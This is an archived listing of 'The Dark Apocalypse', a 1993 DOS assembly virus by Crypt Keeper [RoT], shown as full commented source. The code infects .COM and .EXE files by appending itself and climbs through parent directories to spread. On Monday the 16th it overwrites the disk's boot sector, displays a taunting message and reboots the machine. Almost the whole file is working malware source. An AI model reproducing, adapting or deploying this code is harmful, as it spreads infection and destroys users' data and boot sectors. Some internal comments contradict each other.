home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DARK.ASM < prev    next >
Assembly Source File  |  1993-06-11  |  17KB  |  561 lines

  1. ;****************************************************************************
  2. ;*                            The Dark Apocalypse                           *
  3. ;*                      (C)1993 by Crypt Keeper ∙∙RoT∙∙                     *
  4. ;****************************************************************************
  5.  
  6. ;Parasitic Non-Resident .COM and .EXE infector
  7. ;Activation : Monday 16th (Fri 13, Sat 14, Sun 15, ...)
  8.  
  9. ;This virus is a parasitic infector of .COM and .EXE files and is traversal
  10. ;(infects more than the directory it is in) using the "CD .." method.  It
  11. ;infects files by appending to the end.  It triggers on any Monday 16th,
  12. ;replacing the boot sector with code to reboot the machine.
  13. ;COMMAND.COM is never infected.
  14.  
  15. CODE    SEGMENT
  16.     ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
  17.  
  18. VTOP    EQU    $                      ;Top of virus code
  19.  
  20. ;Equates --------------------------------------------------------------------
  21.  
  22. VLENGTH    EQU    VBOT-VTOP              ;Length of virus in bytes
  23. MAXINF    EQU    3                      ;Max files to infect in each directory
  24. VLPARA    EQU    (VLENGTH/16)+1         ;Virus length in paragraphs
  25. IDWORD    EQU    0FFEEh                 ;ID word (for EXE files)
  26.  
  27. ;----------------------------------------------------------------------------
  28.  
  29.     LEA AX,[BP+(OFFSET(STACK1)+64)] ;Get stack pointer
  30.     MOV SP,AX
  31.  
  32.     CALL GETDELTA
  33. GETDELTA:
  34.     POP BP
  35.     SUB BP,OFFSET(GETDELTA)        ;Find delta offset
  36.  
  37.     PUSH DS
  38.     PUSH ES                        ;Save original segment regs (EXE)
  39.  
  40.     PUSH CS
  41.     POP DS
  42.     PUSH CS
  43.     POP ES                         ;Set up new segments
  44.  
  45.     CLD                            ;Clear direction flag
  46.  
  47.     LEA SI,[BP+OFFSET(ORIGBYT)]
  48.     LEA DI,[BP+OFFSET(OLD_OB)]
  49.     MOV CX,BCLEN
  50.     REP MOVSB                      ;Shadow saved bytes into buffer
  51.  
  52.     LEA SI,[BP+OFFSET(ORIG_IP)]
  53.     LEA DI,[BP+OFFSET(ORIGIP)]
  54.     MOV CX,4
  55.     REP MOVSW                      ;Shadow EXE header information
  56.  
  57.     MOV AH,2Ah                     ;Get date
  58.     INT 21h
  59.  
  60.     CMP AL,1                       ;Monday?
  61.     JNE NOTRIGGER                  ;If not, don't trigger
  62.  
  63.     CMP DL,16                      ;The 16th?
  64.     JNE NOTRIGGER                  ;If not, don't trigger
  65.  
  66.     MOV AH,19h                     ;Get default drive
  67.     INT 21h
  68.  
  69.     LEA BX,[BP+OFFSET(REBOOTCOD)]  ;Offset of reboot code
  70.     MOV CX,1                       ;Number of sectors to write
  71.     XOR DX,DX                      ;Start at absolute sector 0
  72.  
  73.     INT 26h                        ;Absolute disk write
  74.     JC WRITE_ERROR                 ;Skip POPF if error
  75.  
  76.     POPF                           ;Pop flags (after INT 26h return)
  77. WRITE_ERROR:
  78.     LEA DX,[BP+OFFSET(MESSAGE)]    ;Display message
  79.     MOV AH,9                       ;Print string
  80.     INT 21h
  81.  
  82.     INT 05h                        ;Print screen
  83.     
  84.     XOR AH,AH                      ;Read keyboard
  85.     INT 16h                        ;BIOS keyboard interrupt
  86.  
  87.     JMP REBOOTCOD                  ;Reboot the machine
  88. NOTRIGGER:
  89.     LEA SI,[BP+OFFSET(ORIGDIR)]    ;Save original directory name
  90.     XOR DL,DL                      ;from current drive
  91.  
  92.     MOV AH,47h                     ;Get current directory
  93.     INT 21h
  94. DIRSCAN:
  95.     LEA SI,[BP+OFFSET(OLDDIR)]     ;Save old directory name
  96.     XOR DL,DL                      ;from current drive
  97.  
  98.     MOV AH,47h                     ;Get current directory
  99.     INT 21h
  100.  
  101.     MOV AX,WORD PTR [BP+OFFSET(OLDDIR)] ;Get first 2 bytes of old DIR
  102.     CMP AX,'\'                    ;Root directory?
  103.     JE NOMORE_DIRS                 ;If so, end scan
  104.  
  105.     MOV DL,[BP+OFFSET(COMID)]
  106.     PUSH DX                        ;Save COM ID
  107.  
  108.     CALL INFECT                    ;Attempt to infect files in directory
  109.  
  110.     POP DX
  111.     MOV [BP+OFFSET(COMID)],DL      ;Restore COM ID
  112.  
  113.     LEA DX,[BP+OFFSET(CHDIR)]      ;Offset of directory name
  114.  
  115.     MOV AH,3Bh                     ;Change current directory
  116.     INT 21h
  117.  
  118.     JC NOMORE_DIRS                 ;If error, end scan
  119.     JMP SHORT DIRSCAN
  120. NOMORE_DIRS:
  121.     LEA DX,[BP+OFFSET(ORIGDIR)]    ;Reset original directory
  122.     
  123.     MOV AH,3Bh                     ;Change current directory
  124.     INT 21h
  125.     
  126.     MOV DL,0FFh
  127.     CMP [BP+OFFSET(COMID)],DL      ;Is this a .COM file
  128.     JE RET_COM                     ;If so, execute .COM file return
  129.     
  130.     MOV AH,51h                     ;Get PSP adress
  131.     INT 21h
  132.  
  133.     ADD BX,16                      ;Compensate for PSP size
  134.  
  135.     POP ES
  136.     POP DS                         ;Restore original ES and DS from EXE
  137.     
  138.     CLI                            ;Clear interrupts for stack change
  139.  
  140.     MOV AX,CS:[BP+OFFSET(ORIGSP)]
  141.     MOV SP,AX
  142.     MOV AX,CS:[BP+OFFSET(ORIGSS)]
  143.     ADD AX,BX                      ;Find segment for SS
  144.     MOV SS,AX                      ;Reset original EXE stack
  145.     
  146.     STI
  147.  
  148.     ADD CS:[BP+OFFSET(ORIGCS)],BX  ;Find segment for CS
  149.  
  150.     JMP DWORD PTR CS:[BP+OFFSET(ORIGIP)] ;Far jump to original EXE code
  151. RET_COM:
  152.     POP AX
  153.     POP AX                         ;Get "EXE stuff" off stack
  154.  
  155.     LEA SI,[BP+OFFSET(OLD_OB)]     ;Original bytes from .COM file
  156.     MOV DI,100h                    ;Put at .COM entry point
  157.     MOV CX,BCLEN                   ;Move length of original bytes
  158.     
  159.     REP MOVSB                      ;Replace bytes of original .COM file
  160.     
  161.     MOV AX,100h
  162.     PUSH AX
  163.     RET                            ;Jump to original .COM code
  164.                     
  165. INFECT:
  166.     MOV AH,2Fh                     ;Get disk transfer adress
  167.     INT 21h
  168.  
  169.     MOV [BP+OFFSET(OLDDTAS)],ES
  170.     MOV [BP+OFFSET(OLDDTAO)],BX    ;Old disk transfer adress
  171.  
  172.     PUSH CS
  173.     POP ES
  174.  
  175.     LEA DX,[BP+OFFSET(NEWDTA)]     ;New disk transfer adress
  176.  
  177.     MOV AH,1Ah                     ;Set disk transfer adress
  178.     INT 21h
  179.  
  180. FINDEXE:
  181.     XOR SI,SI                      ;Zero counter
  182.  
  183.     MOV CX,4                       ;Search for all normal files
  184.     LEA DX,[BP+OFFSET(SSPEC1)]     ;Search for *.EXE
  185.  
  186.     MOV AH,4Eh                     ;Find first file
  187.     INT 21h
  188.  
  189.     JNC DISEASE_EXE                ;Carry set means no more .EXE files
  190.     JMP NOMORE_EXE
  191. FIND_NEXT_EXE:
  192.     MOV AH,4Fh                     ;Find next file
  193.     INT 21h
  194.  
  195.     JNC DISEASE_EXE                ;Carry set means no more .EXE files
  196.     JMP NOMORE_EXE
  197. DISEASE_EXE:
  198.     XOR CX,CX                      ;Set attributes to normal
  199.     LEA DX,[BP+OFFSET(FNAME)]      ;on file to infect
  200.  
  201.     MOV AX,4301h                   ;Set file atttibutes
  202.     INT 21h
  203.  
  204.     MOV AX,3D02h                   ;Open file for READ/WRITE access
  205.     INT 21h
  206.  
  207.     MOV [BP+OFFSET(THANDLE)],AX    ;File handle
  208.  
  209.     MOV BX,AX
  210.     MOV CX,28                      ;Read 28 bytes (EXE header)
  211.     LEA DX,[BP+OFFSET(EXEHEADER)]  ;Exe header buffer
  212.  
  213.     MOV AH,3Fh                     ;Read file or device
  214.     INT 21h
  215.  
  216.     MOV AX,IDWORD
  217.     CMP [BP+OFFSET(SSSP)],AX       ;Is EXE already infected?
  218.     JNE GO_AHEAD_INFECT            ;If not, go ahead
  219.     JMP END_EXE_INFECTION          ;If so, end routine
  220.  
  221. GO_AHEAD_INFECT:
  222.     XOR AX,AX
  223.     MOV [BP+OFFSET(COMID)],AL      ;Zero .COM ID field
  224.  
  225.     PUSH SI                        ;Save counter
  226.  
  227.     LES SI,[BP+OFFSET(CSIP)]       ;Get CS:IP from EXE header
  228.     MOV [BP+OFFSET(ORIG_IP)],SI
  229.     MOV [BP+OFFSET(ORIG_CS)],ES    ;Set fields in virus code
  230.  
  231.     LES SI,[BP+OFFSET(SSOFS)]      ;Get SP:SS (reversed) from EXE header
  232.     MOV [BP+OFFSET(ORIG_SP)],ES
  233.     MOV [BP+OFFSET(ORIG_SS)],SI    ;Set fields in virus code
  234.  
  235.     POP SI                         ;Restore counter
  236.  
  237.     PUSH CS
  238.     POP ES
  239.  
  240.     XOR CX,CX
  241.     XOR DX,DX                      ;Move file pointer zero bytes
  242.  
  243.     MOV AX,4202h                   ;Move to end of file
  244.     INT 21h
  245.  
  246.     MOV CX,16
  247.     DIV CX                         ;Divide file size by 16 (paragraph)
  248.  
  249.     PUSH AX
  250.     SUB AX,[BP+OFFSET(HEADSIZ)]    ;Subtract header size from paragraphs
  251.  
  252.     POP CX
  253.     CMP AX,CX
  254.     JA END_EXE_INFECTION           ;If file too small, end infection
  255.  
  256.     MOV [BP+OFFSET(CSIP)],DX
  257.     MOV [BP+OFFSET(CSOFS)],AX      ;Set CS:IP in EXE header
  258.  
  259.     MOV [BP+OFFSET(SSOFS)],AX
  260.     MOV CX,0FFEEh
  261.     MOV [BP+OFFSET(SSSP)],CX       ;Set SS:SP in EXE header
  262.  
  263.     MOV CX,VLPARA
  264.     ADD [BP+OFFSET(MINMEM)],CX     ;Add virus size in paragraphs to minmem
  265.  
  266.     MOV AX,[BP+OFFSET(ID_WORD)]    ;Get ID word from EXE header
  267.     CMP AX,'MZ'
  268.     JE EXE_OK
  269.     CMP AX,'ZM'
  270.     JE EXE_OK                      ;If a true EXE file, go ahead
  271.  
  272.     JMP SHORT END_EXE_INFECTION    ;If not (misnamed COM), end infection
  273.  
  274. EXE_OK:    MOV BX,[BP+OFFSET(THANDLE)]    ;Handle of target file
  275.     MOV CX,VLENGTH                 ;Write virus length in bytes
  276.     MOV DX,BP                      ;BP=Start of virus code
  277.     
  278.     MOV AH,40h                     ;Write file or device
  279.     INT 21h
  280.     
  281.     XOR CX,CX
  282.     XOR DX,DX                      ;Move file pointer zero bytes
  283.  
  284.     MOV AX,4202h                   ;Move to end of file
  285.     INT 21h
  286.     
  287.     MOV CX,512                     ;Divide by 512 bytes (page)
  288.     DIV CX
  289.  
  290.     CMP DX,00h
  291.     JE GO_AHEAD_SET                ;If no remainder, go ahead and set
  292.  
  293.     INC AX                         ;Add another page (last page)
  294.  
  295. GO_AHEAD_SET:
  296.     MOV [BP+OFFSET(TOTPAGE)],AX
  297.     MOV [BP+OFFSET(LAST512)],DX    ;Set new EXE file size
  298.  
  299.     CALL SEEKZERO                  ;Seek to position zero in file
  300.     
  301.     MOV CX,28                      ;Length of EXE header
  302.     LEA DX,[BP+OFFSET(EXEHEADER)]  ;Offset of header data
  303.     
  304.     MOV AH,40h                     ;Write file or device
  305.     INT 21h
  306.     
  307.     INC SI                         ;Increment counter
  308. END_EXE_INFECTION:
  309.     MOV BX,[BP+OFFSET(THANDLE)]    ;Handle of target file
  310.     MOV AH,3Eh                     ;Close file with handle
  311.     INT 21h
  312.     
  313.     CALL RESET_ATTR                ;Reset original attributes
  314.     
  315.     CMP SI,MAXINF                  ;Maximum counter reached?
  316.     JNE FNE                        ;If so, end all searches for directory
  317.     JMP NOMORE_FILES
  318.  
  319. FNE:    JMP FIND_NEXT_EXE              ;Find next file
  320.  
  321. RESET_ATTR:
  322.     MOV CX,[BP+OFFSET(ATTRIB)]     ;Reset old attributes
  323.     LEA DX,[BP+OFFSET(FNAME)]      ;on file just infected
  324.     
  325.     MOV AX,4301h                   ;Set file attributes
  326.     INT 21h
  327.     RET                            ;Return to caller
  328.  
  329. SEEKZERO:
  330.     XOR CX,CX
  331.     XOR DX,DX                      ;Change offset = 0
  332.  
  333.     MOV AX,4200h                   ;Move from beginning of file
  334.     INT 21h
  335.     RET                            ;Return to caller
  336.  
  337. NOMORE_EXE:
  338.     MOV CX,4                       ;Search for all normal files
  339.     LEA DX,[BP+OFFSET(SSPEC2)]     ;Search for *.COM
  340.     
  341.     MOV AH,4Eh                     ;Find first file
  342.     INT 21h
  343.     
  344.     JNC DISEASE_COM                ;Carry set means error
  345.     JMP NOMORE_FILES
  346. FIND_NEXT_COM:
  347.     MOV AH,4Fh                     ;Find next file
  348.     INT 21h
  349.  
  350.     JNC DISEASE_COM                ;Carry set means error
  351.     JMP NOMORE_FILES
  352. DISEASE_COM:
  353.     XOR CX,CX                      ;Set attributes to normal
  354.     LEA DX,[BP+OFFSET(FNAME)]      ;on file to infect
  355.  
  356.     MOV AX,4301h                   ;Set file atttibutes
  357.     INT 21h
  358.  
  359.     PUSH SI                        ;Save counter
  360.  
  361.     MOV SI,DX
  362.     LEA DI,[BP+OFFSET(CS2)]        ;Compare with "COMMAND.COM"
  363.     MOV CX,12                      ;11 bytes to compare
  364.  
  365.     REPE CMPSB                     ;Repeat until not equal
  366.  
  367.     POP SI                         ;Restore counter
  368.     
  369.     CMP CX,0                       ;All characters match?
  370.     JE END_COM_INFECTION           ;If so, end infection routine
  371.  
  372.     MOV AX,3D02h                   ;Open file for READ/WRITE access
  373.     INT 21h
  374.  
  375.     MOV BX,AX
  376.     MOV CX,2                       ;Read one word of data
  377.     LEA DX,[BP+OFFSET(CHKBUF)]     ;Buffer for word to check
  378.     
  379.     MOV AH,3Fh                     ;Read file or device
  380.     INT 21h
  381.     
  382.     MOV AX,[BP+OFFSET(CHKBUF)]
  383.     CMP AX,'MZ'
  384.     JE END_COM_INFECTION
  385.     CMP AX,'ZM'
  386.     JE END_COM_INFECTION           ;End infection if misnamed .EXE
  387.     
  388.     CMP AX,WORD PTR [BP+OFFSET(BRANCH)] ;Compare with start of branch code
  389.     JE END_COM_INFECTION           ;End infection if already infected
  390.  
  391.     CALL SEEKZERO                  ;Seek to position zero in file
  392.  
  393.     MOV CX,BCLEN                   ;Length of branch code
  394.     LEA DX,[BP+OFFSET(ORIGBYT)]    ;Save original bytes from COM file
  395.  
  396.     MOV AH,3Fh                     ;Read file or device
  397.     INT 21h
  398.  
  399.     XOR CX,CX
  400.     XOR DX,DX                      ;Move file pointer zero bytes
  401.  
  402.     MOV AX,4202h                   ;Move to end of file
  403.     INT 21h
  404.     
  405.     ADD AX,100h                    ;Compensate for PSP
  406.     MOV [BP+OFFSET(VOFFSET)],AX    ;Store virus offset in repeat code
  407.  
  408.     XOR AX,AX
  409.     MOV [BP+OFFSET(COMID)],AH      ;Zero .COM ID field
  410.  
  411.     MOV CX,VLENGTH
  412.     MOV DX,BP                      ;Delta offset = start of code
  413.  
  414.     MOV AH,40h                     ;Write file or device
  415.     INT 21h
  416.  
  417.     CALL SEEKZERO                  ;Seek to position zero
  418.     
  419.     MOV CX,BCLEN                   ;Length of branch code
  420.     LEA DX,[BP+OFFSET(BRANCH)]     ;Write branch code
  421.  
  422.     MOV AH,40h                     ;Write file or device
  423.     INT 21h
  424.  
  425.     INC SI                         ;Increment counter
  426. END_COM_INFECTION:
  427.     MOV AH,3Eh                     ;Close file with handle
  428.     INT 21h
  429.     
  430.     CALL RESET_ATTR                ;Reset original attributes
  431.     
  432.     CMP SI,MAXINF                  ;Maximum counter reached?
  433.     JE NOMORE_FILES                ;If so, end all searches for directory
  434.  
  435.     JMP FIND_NEXT_COM              ;Find next .COM file
  436. NOMORE_FILES:
  437.     LDS DX,[BP+OFFSET(OLDDTAO)]    ;Get old disk transfer adress
  438.  
  439.     MOV AH,1Ah                     ;Set disk transfer adress
  440.     INT 21h
  441.     
  442.     PUSH CS
  443.     POP DS
  444.  
  445.     RET                            ;Return to caller
  446.  
  447. ;Reboot code ----------------------------------------------------------------
  448.  
  449. REBOOTCOD:
  450.     MOV AX,0040h
  451.     MOV DS,AX
  452.     MOV BX,1234h
  453.     MOV WORD PTR DS:[0072h],BX     ;Warm reboot
  454.     DB    0EAh
  455.     DW    0
  456.     DW    0FFFFh                 ;JMP FFFF:0000 (hard coded)
  457.         
  458. ;Branch code ----------------------------------------------------------------
  459.  
  460. BCTOP    EQU    $                      ;Top of branch code
  461.  
  462. BRANCH:    XOR BP,DI                      ;Marker instruction
  463.     DB    0BBh                   ;MOV BX,
  464. VOFFSET    DW    0                      ;Offset of viral code
  465.     MOV DI,OFFSET(COMID)
  466.     ADD DI,BX                      ;Calculate location of COM id
  467.  
  468.     MOV AL,0FFh
  469.     STOSB                          ;Set COM file flag
  470.  
  471.     PUSH BX
  472.     RET                            ;Jump to virus code
  473.  
  474. BCBOT    EQU    $                      ;Bottom of branch code
  475. BCLEN    EQU    BCBOT-BCTOP            ;Length of branch code
  476.  
  477. ;Data -----------------------------------------------------------------------
  478.  
  479. CS2    DB    'COMMAND.COM',0        ;File to replace with reboot code
  480.     DB    0FFh
  481.  
  482. CHDIR    DB    '..',0                 ;Change directory string
  483.  
  484. MESSAGE    DB    13,10
  485.     DB    'Welcome to the Dark Apocalypse...  Your computer will',13,10
  486.     DB    'never escape... You might as well read this and weep!',13,10
  487.     DB    13,10
  488.     DB    'The Dark Apocalypse v1.00  by Crypt Keeper [RoT]',13,10
  489.     DB    '∙··Reign of Terror··∙  [DARK APOCALYPSE]',13,10
  490.     DB    13,10
  491.     DB    'Press any key to continue...$'
  492.  
  493. ORIG_IP    DW    0
  494. ORIG_CS    DW    0
  495. ORIG_SS    DW    0
  496. ORIG_SP    DW    0                      ;Original segments/pointers from EXEHDR
  497.  
  498. SSPEC1    DB    '*.EXE',0
  499. SSPEC2    DB    '*.COM',0              ;Search specs
  500.  
  501. ORIGBYT    DB    0CDh
  502.     DB    20h                    ;For proper .COM return to DOS
  503.     DB    BCLEN-2 DUP ('!')      ;Buffer for saved bytes from .COM files
  504.  
  505. COMID    DB    0FFh                   ;ID byte set to 0FFh by branch if .COM
  506.  
  507. ;----------------------------------------------------------------------------
  508.  
  509. VBOT    EQU    $                      ;Bottom of virus code
  510.  
  511. ;Heap -----------------------------------------------------------------------
  512.  
  513. ORIGIP    DW    0
  514. ORIGCS    DW    0
  515. ORIGSS    DW    0
  516. ORIGSP    DW    0                      ;Shadowed EXEHDR information
  517.  
  518. EXEHEADER:
  519. ID_WORD    DW    0                      ;ID word (ZM or MZ)
  520. LAST512    DW    0                      ;Number of bytes in last 512 byte page
  521. TOTPAGE    DW    0                      ;Total number of pages in file
  522. SEGENTS    DW    0                      ;Number of entries in segment table
  523. HEADSIZ    DW    0                      ;Size of header in paragraphs
  524. MINMEM    DW    0                      ;Minimum memory in paragraphs
  525. MAXMEM    DW    0                      ;Maximum memory in paragraphs
  526. SSOFS    DW    0                      ;Offset of SS from header (paragraphs)
  527. SSSP    DW    0                      ;Stack pointer offset
  528. NEGCHK    DW    0                      ;Negative checksum (ignored by DOS)
  529. CSIP    DW    0                      ;Offset of IP from CS (bytes)
  530. CSOFS    DW    0                      ;Offset of CS from header (paragraphs)
  531. RELOFS    DW    0                      ;Offset of relocation table from loc 0
  532. OVLNUM    DW    0                      ;Overlay number (ignored)
  533.  
  534. CHKBUF    DW    0                      ;Buffer for infection check (COM files)
  535. VSEG    DW    0                      ;Segment of virus in RAM
  536. THANDLE    DW    0                      ;File handle
  537.  
  538. OLDDIR    DB    70 DUP ('?')           ;Buffer for old directory name
  539. ORIGDIR    DB    70 DUP ('?')           ;Buffer for original directory name
  540.  
  541. OLDDTAO    DW    0
  542. OLDDTAS    DW    0                      ;Old disk transfer adress
  543.  
  544. OLD_OB    DB    BCLEN DUP ('%')        ;Buffer for shadow of old original code
  545.  
  546. STACK1    DB    64 DUP ('S')           ;Stack
  547.  
  548. NEWDTA:
  549.     DB    21 DUP (' ')           ;Reserved
  550. ATTRIB    DB    0                      ;Attributes of found file
  551. FTIME    DW    0                      ;Time of last write
  552. FDATE    DW    0                      ;Date of last write
  553. FSIZE    DD    0                      ;File size
  554. FNAME    DB    13 DUP ('?')           ;File name
  555.  
  556. ;----------------------------------------------------------------------------
  557.  
  558. CODE    ENDS
  559.     END
  560.  
  561.